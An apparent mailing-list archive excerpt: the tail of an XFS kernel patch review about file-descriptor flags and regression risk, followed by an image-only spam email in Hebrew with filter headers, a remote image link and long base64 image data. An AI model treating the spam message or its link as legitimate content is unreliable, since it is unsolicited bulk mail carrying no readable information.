abuse@ocsa-data.net X-Barracuda-Connect: mx-out.ocsa-data.net[194.36.166.37] X-Barracuda-Start-Time: 1373450459 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, Le 09.07.2013 22:53, Ben Myers a écrit : > On Mon, Jul 08, 2013 at 05:41:33PM -0500, Ben Myers wrote: >> On Tue, Jul 02, 2013 at 06:39:34PM +0200, Yann Droneaud wrote: >> > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c >> > index 5e99968..dc5b659 100644 >> > --- a/fs/xfs/xfs_ioctl.c >> > +++ b/fs/xfs/xfs_ioctl.c >> > @@ -248,7 +248,7 @@ xfs_open_by_handle( >> > goto out_dput; >> > } >> > >> > - fd = get_unused_fd(); >> > + fd = get_unused_fd_flags(0); >> >> O_CLOEXEC should be fine in this case. >> >> Reviewed-by: Ben Myers > > Applied at git://oss.sgi.com/xfs/xfs.git. Looks like I was wrong about > O_CLOEXEC being ok here. There may be applications which > open_by_handle then > fork/exec and expect to still be able to use that file descriptor. > OK, it's very important to not cause regression here. For the record, xfs_open_by_handle() is not related to open_by_handle_at() syscall. It's an ioctl (XFS_IOC_OPEN_BY_HANDLE) which is used by xfsprogs's libhandle in functions open_by_fshandle() and open_by_handle(). http://sources.debian.net/src/xfsprogs/3.1.9/libhandle/handle.c?hl=284#L284 http://sources.debian.net/src/xfsprogs/3.1.9/libhandle/handle.c?hl=308#L308 According to codesearch.debian.org, libhandle's open_by_handle() is only used by xfsdump http://sources.debian.net/src/xfsdump/3.1.1/restore/tree.c?hl=2534#L2534 So there's no many *known* users of this features ... but it's more important not to break *unknown* users of it. BTW, thanks for the review and applying. Regards. -- Yann Droneaud OPTEYA From elta@hotufi.net Wed Jul 10 07:31:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.7 required=5.0 tests=DC_GIF_UNO_LARGO, DC_IMAGE_SPAM_HTML,DC_IMAGE_SPAM_TEXT,HTML_MESSAGE,MIME_HTML_MOSTLY, MPART_ALT_DIFF,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A9AF57F5A for ; Wed, 10 Jul 2013 07:31:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF41EAC003 for ; Wed, 10 Jul 2013 05:31:40 -0700 (PDT) X-ASG-Debug-ID: 1373459495-04cb6c2a47adab90001-NocioJ Received: from hot-smtpauth1.sdv.fr (hot-smtpauth1.sdv.fr [212.95.71.159]) by cuda.sgi.com with ESMTP id gKHiUP4JZ5EO0bZj for ; Wed, 10 Jul 2013 05:31:36 -0700 (PDT) X-Barracuda-Envelope-From: elta@hotufi.net X-Barracuda-Apparent-Source-IP: 212.95.71.159 Received: from userPC (unknown [213.57.226.119]) by hot-smtpauth1.sdv.fr (Postfix) with ESMTPSA id 9CE698079; Wed, 10 Jul 2013 14:29:57 +0200 (CEST) From: =?windows-1255?B?8vDh7A==?= To: =?windows-1255?B?8vDh7A==?= Subject: =?windows-1255?B?Rlc6IPbp7vgg4Onr5frpIOHu5+n4IPLu7uktIOH69+X0+iDk+PbkIC0g?= =?windows-1255?B?6+wg5Pfl4+0g5uXr5CAuIA==?= Date: Wed, 10 Jul 2013 15:29:52 +0300 X-ASG-Orig-Subj: =?windows-1255?B?Rlc6IPbp7vgg4Onr5frpIOHu5+n4IPLu7uktIOH69+X0+iDk+PbkIC0g?= =?windows-1255?B?6+wg5Pfl4+0g5uXr5CAuIA==?= Message-ID: <000601ce7d69$639facd0$2adf0670$@net> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0007_01CE7D82.88ECE4D0" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac5wrnCrupP9XF5vR8m2MxuzYLLeSQABO+8AAEHnDyACToJq4AA32yHgADj4AYAALCht8A== Content-Language: he X-Barracuda-Connect: hot-smtpauth1.sdv.fr[212.95.71.159] X-Barracuda-Start-Time: 1373459496 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 5ee7e605e7372636baf56ae40c54f520-6373-htm X-Barracuda-Spam-Score: 1.36 X-Barracuda-Spam-Status: No, SCORE=1.36 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MJ3895, BSF_SC0_SA090e, BSF_SC0_SA717, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DC_GIF_UNO_LARGO, DC_IMAGE_SPAM_HTML, DC_IMAGE_SPAM_TEXT, HTML_MESSAGE, MIME_HTML_MOSTLY, MPART_ALT_DIFF, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136355 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 0.00 BSF_SC0_MJ3895 Custom Rule MJ3895 0.40 BSF_SC0_SA090e Custom Rule SA090e 0.79 DC_GIF_UNO_LARGO Message contains a single large inline gif 0.00 DC_IMAGE_SPAM_TEXT Possible Image-only spam with little text 0.00 DC_IMAGE_SPAM_HTML Possible Image-only spam 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 MIME. ------=_NextPart_000_0007_01CE7D82.88ECE4D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0008_01CE7D82.88ECE4D0" ------=_NextPart_001_0008_01CE7D82.88ECE4D0 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: 7bit http://www.kitim.co.il/z/m.jpg ------=_NextPart_001_0008_01CE7D82.88ECE4D0 Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable

    3D"http://www.kitim.co.il/z/m.jpg"

    ------=_NextPart_001_0008_01CE7D82.88ECE4D0-- ------=_NextPart_000_0007_01CE7D82.88ECE4D0 Content-Type: image/gif; name="image001.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhAQNJAfcAAP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx 8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABYALAAAAAABA0kB AAj+AAEIHEhwoIIJFRIqZDCgoMOHECNKnEixosWLBQcwUKhwggKMIEOKHEmypEkCEDhW+GiypcuX LQk0aFAApk2CBWYSuMmzp8+fQIOONOBApdGjCVlKXGB0QgKhUKNCTIBQ5QKpWLMKPUCB4wQDWsMK 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 ------=_NextPart_000_0007_01CE7D82.88ECE4D0 Content-Type: image/jpeg; name="image002.jpg" Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIf IiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/2wBDAQoLCw4NDhwQEBw7KCIoOzs7Ozs7 Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv/wAARCAOUAocDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD0trDT ASn9m2e/sPs6Y/PFPk0vT1XeNOs+Dg/uE/wqxkIqqqgpjC/WjczgkYJXqKQFd9N01cf8S6zOfS3T /CmnS9NYsV06zORxmBCD+lXI8KpUjbnODSYWJwoAGQSKAKUWkWAZkOn2gyc/6hP8KBY6b5mz+zrI kdQLdP8ACruwM20OQ2OR7UwoCpEZAAGBxz9KAIV07TQCW02zHPB8hP8ACozpunsFEen2Y38k+Qn+ FW2T92QUzu5ZVPIpA5WFgFwoGBigCt/Z+mIm3+z7Rm/hP2dMH36U4aZpwRWexs857W6c/pViNFwp z8mOppzKS4GAEC/rQBWOl6bt3/YLNVJ726f4Ui6ZYHAXTbJeOA0CZP6VNKjfKoHykEtzT1TYgKlQ 